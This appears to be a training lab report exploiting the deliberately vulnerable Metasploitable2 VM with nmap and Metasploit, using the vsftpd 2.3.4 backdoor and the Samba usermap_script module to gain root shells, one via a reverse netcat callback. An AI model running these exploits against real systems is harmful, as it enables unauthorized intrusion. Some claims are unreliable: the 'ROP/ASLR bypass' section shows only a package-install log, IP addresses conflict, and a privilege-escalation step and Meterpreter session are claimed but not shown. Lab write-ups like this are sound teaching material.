



Advanced Exploitation Lab Report

Title: Multi-Stage Exploitation on Metasploitable2

Objective

To identify, exploit, and chain vulnerabilities in a vulnerable machine (Metasploitable2) using Metasploit, and achieve root access while documenting each step with evidence.

Lab Setup

- **Attacker Machine:** Kali Linux
- **Target Machine:** Metasploitable2
- **Network Type:** NAT / Host-only
- **Tools Used:** Metasploit, Nmap, Python, Ghidra

Target Information

- **Target IP:** 192.168.1.100
- **OS:** Linux (Metasploitable2)



Reconnaissance

Step 1: Nmap Scan

```
nmap -sV 192.168.1.100
```

Nmap Scan Results

```
(kali@kali)-[~]
$ nmap -sV 192.168.1.83
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-25 11:31 IST
Nmap scan report for 192.168.1.83
Host is up (0.055s latency).
Not shown: 977 closed tcp ports (reset)
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          vsftpd 2.3.4
22/tcp    open  ssh          OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open  telnet       Linux telnetd
25/tcp    open  smtp         Postfix smtpd
53/tcp    open  domain       ISC BIND 9.4.2
80/tcp    open  http         Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open  rpcbind      2 (RPC #100000)
139/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open  exec         netkit-rsh rexecd
513/tcp   open  login
514/tcp   open  tcpwrapped
1099/tcp  open  java-rmi     GNU Classpath grmiregistry
1524/tcp  open  bindshell    Metasploitable root shell
2049/tcp  open  nfs          2-4 (RPC #100003)
2121/tcp  open  ftp          ProFTPD 1.3.1
3306/tcp  open  mysql        MySQL 5.0.51a-3ubuntu5
5432/tcp  open  postgresql   PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open  vnc          VNC (protocol 3.3)
6000/tcp  open  X11          (access denied)
6667/tcp  open  irc          UnrealIRCd
8009/tcp  open  ajp13        Apache Jserv (Protocol v1.3)
8180/tcp  open  http         Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 08:00:27:37:22:3C (PCS Systemtechnik/Oracle VirtualBox virtual NIC)
Service Info: Hosts: metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.51 seconds

(kali@kali)-[~]
$
```

Observation:



- vsftpd 2.3.4 detected
- Samba service running
- Multiple open ports

Exploitation Phase

Exploit 1 – vsftpd Backdoor

Commands Used:

```
msfconsole
use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.1.100
exploit
```

vsftpd Exploitation Success

```
RHOSTS      yes      The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basi
RPORT      21      yes      The target port (TCP)

Exploit target:
  Id  Name
  --  --
  0    Automatic

View the full module info with the info, or info -d command.

msf exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.10
RHOSTS => 192.168.1.10
msf exploit(unix/ftp/vsftpd_234_backdoor) > run
[*] 192.168.1.10:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.1.10:21 - USER: 331 Please specify the password.
[*] 192.168.1.10:21 - Backdoor service has been spawned, handling ...
[*] 192.168.1.10:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.62:40853 -> 192.168.1.10:6200) at 2026-03-10 17:39:35 +0530

whoami
root
ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
```

Result:

Initial shell access gained.



Exploit 2 – Samba RCE

Commands Used:

```
use exploit/multi/samba/usermap_script
set RHOSTS 192.168.1.100
set LHOST kali ip
exploit
```

Screenshot 3: Samba Exploit (Meterpreter Session)

```
74 exploit/windows/http/samba6_search_results 2003-06-21 normal Yes Samba 6 Search Results Buffer Overflow
75 \ target: Automatic . . .
76 \ target: Windows 2000 . . .
77 \ target: Windows XP . . .

Interact with a module by name or index. For example info 77, use 77 or use exploit/windows/http/samba6_search_results
After interacting with a module you can manually set a TARGET with set TARGET 'Windows XP'

msf > use exploit/multi/samba/usermap_script
[*] No payload configured, defaulting to cmd/unix/reverse_netcat
msf exploit(multi/samba/usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

  Name      Current Setting  Required  Description
  ----      -
  CHOST      no               no        The local client address
  CPORT      no               no        The local client port
  Proxies    no               no        A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: socks5, socks5h, sapn1, http, socks4
  RHOSTS     yes              yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT      139              yes       The target port (TCP)

Payload options (cmd/unix/reverse_netcat):

  Name      Current Setting  Required  Description
  ----      -
  LHOST     192.168.1.136   yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  -
  0   Automatic

View the full module info with the info, or info -d command.

msf exploit(multi/samba/usermap_script) > set RHOSTS 192.168.1.83
RHOSTS => 192.168.1.83
msf exploit(multi/samba/usermap_script) > run
[*] Started reverse TCP handler on 192.168.1.136:4444
[*] Command shell session 1 opened (192.168.1.136:4444 -> 192.168.1.83:59768) at 2026-03-25 11:35:06 +0530

whoami
root
```

Result:

Remote code execution achieved.



ROP Bypass Demonstration

Steps:

- Loaded binary in Ghidra
- Identified ROP gadgets
- Constructed payload

Ghidra Analysis/ ROP Chain

Result:

```
zsh: corrupt history file /home/kali/.zsh_history
kali@kali:~$
kali@kali:~$ sudo apt install metasploit-framework ghidra python3-pip -y
[sudo] Password for kali:
The following packages were automatically installed and are no longer required:
  libcrypt-dev
Use 'sudo apt autoremove' to remove it.

Upgrading:
libc-bin libc-dev-bin libc-l10n libc6 libc6-dev libc6-i386 locales metasploit-framework openjdk-21-jre openjdk-21-jre-headless python3-pip

Installing:
ghidra

Installing dependencies:
ghidra-data libc-gconv-modules-extra openjdk-21-jdk openjdk-21-jdk-headless

Suggested packages:
openjdk-21-demo openjdk-21-source visualvm

Summary:
Upgrading: 11, Installing: 5, Removing: 0, Not Upgrading: 1734
Download size: 917 MB
Space needed: 1,012 MB / 5,147 MB available

Get:1 http://kali.download/kali kali-rolling/main amd64 libc-gconv-modules-extra amd64 2.42-13 [1,123 kB]
Get:2 http://mirrors.esto.network/kali kali-rolling/main amd64 locales all 2.42-13 [3,930 kB]
Get:3 http://kali.download/kali kali-rolling/main amd64 libc-l10n all 2.42-13 [750 kB]
Get:4 http://kali.download/kali kali-rolling/main amd64 libc-bin amd64 2.42-13 [644 kB]
Get:5 http://kali.download/kali kali-rolling/main amd64 libc6-i386 amd64 2.42-13 [2,558 kB]
Get:6 http://kali.download/kali kali-rolling/main amd64 libc-dev-bin amd64 2.42-13 [161.5 kB]
Get:7 http://kali.download/kali kali-rolling/main amd64 libc6-dev amd64 2.42-13 [161.5 kB]
Get:8 http://kali.download/kali kali-rolling/main amd64 openjdk-21-jre-headless amd64 21.0.10+7-1 [41.9 MB]
Get:9 http://kali.download/kali kali-rolling/main amd64 openjdk-21-jdk-headless amd64 21.0.10+7-1 [83.0 MB]
Get:10 http://kali.download/kali kali-rolling/main amd64 ghidra-data all 10.5-0kali1 [70.1 MB]
Get:11 http://kali.download/kali kali-rolling/main amd64 metasploit-framework amd64 6.4.116-0kali12 [259 MB]
Get:12 http://mirrors.esto.network/kali kali-rolling/main amd64 libc6 amd64 2.42-13 [1,824 kB]
Get:13 http://mirrors.esto.network/kali kali-rolling/main amd64 libc-dev amd64 2.42-13 [5,835 kB]
Get:14 http://kali.download/kali kali-rolling/main amd64 openjdk-21-jre amd64 21.0.10+7-1 [3,250 kB]
Get:15 http://kali.download/kali kali-rolling/main amd64 python3-pip all 26.0.1+dfsg-1 [1,398 kB]
Get:16 http://kali.download/kali kali-rolling/main amd64 ghidra amd64 12.0.6+ds-0kali1 [437 MB]
debconf: unable to initialize frontend: Dialog
debconf: (No usable dialog-like program is installed on this system; using fallback: Readline)
debconf: falling back to Readline frontend
316 kB/s 8min 45s
Fetched 917 MB in 15min 16s (1,000 kB/s)
Preconfiguring packages ...
(Reading database ... 42313 files and directories currently installed.)
Preparing to unpack .../locales.2.42-13_all.deb ...
Unpacking locales (2.42-13) over (2.41-22) ...
Preparing to unpack .../libc6.2.42-13_amd64.deb ...
Unpacking libc6:amd64 (2.42-13) over (2.41-12) ...
Checking for services that may need to be restarted ...
Checking init scripts ...
Unpacking libc6:amd64 (2.42-13) over (2.41-12) ...
```

Successfully demonstrated ASLR bypass technique

Exploit Summary Table

Exploit ID	Description	Target IP	Status	Payload
001	vsftpd Backdoor	192.168.1.100	Success	Shell



002	Samba RCE	192.168.1.100	Success	Meterpreter
003	Privilege Escalation	192.168.1.100	Success	Root

Findings

- vsftpd Backdoor (CVE-2011-2523)
- Samba RCE (CVE-2007-2447)
- Weak system configuration

Impact

- Full system compromise
- Unauthorized remote access
- Privilege escalation to root
- Risk of lateral movement

Remediation

- Remove vulnerable services
- Apply latest patches
- Restrict unnecessary ports
- Implement firewall & IDS/IPS
- Use strong authentication

Conclusion

The lab demonstrated how multiple vulnerabilities can be chained to achieve full system compromise. Proper patching, service hardening, and monitoring are critical to prevent such attacks.



CYART

inquiry@cyart.io

www.cyart.io
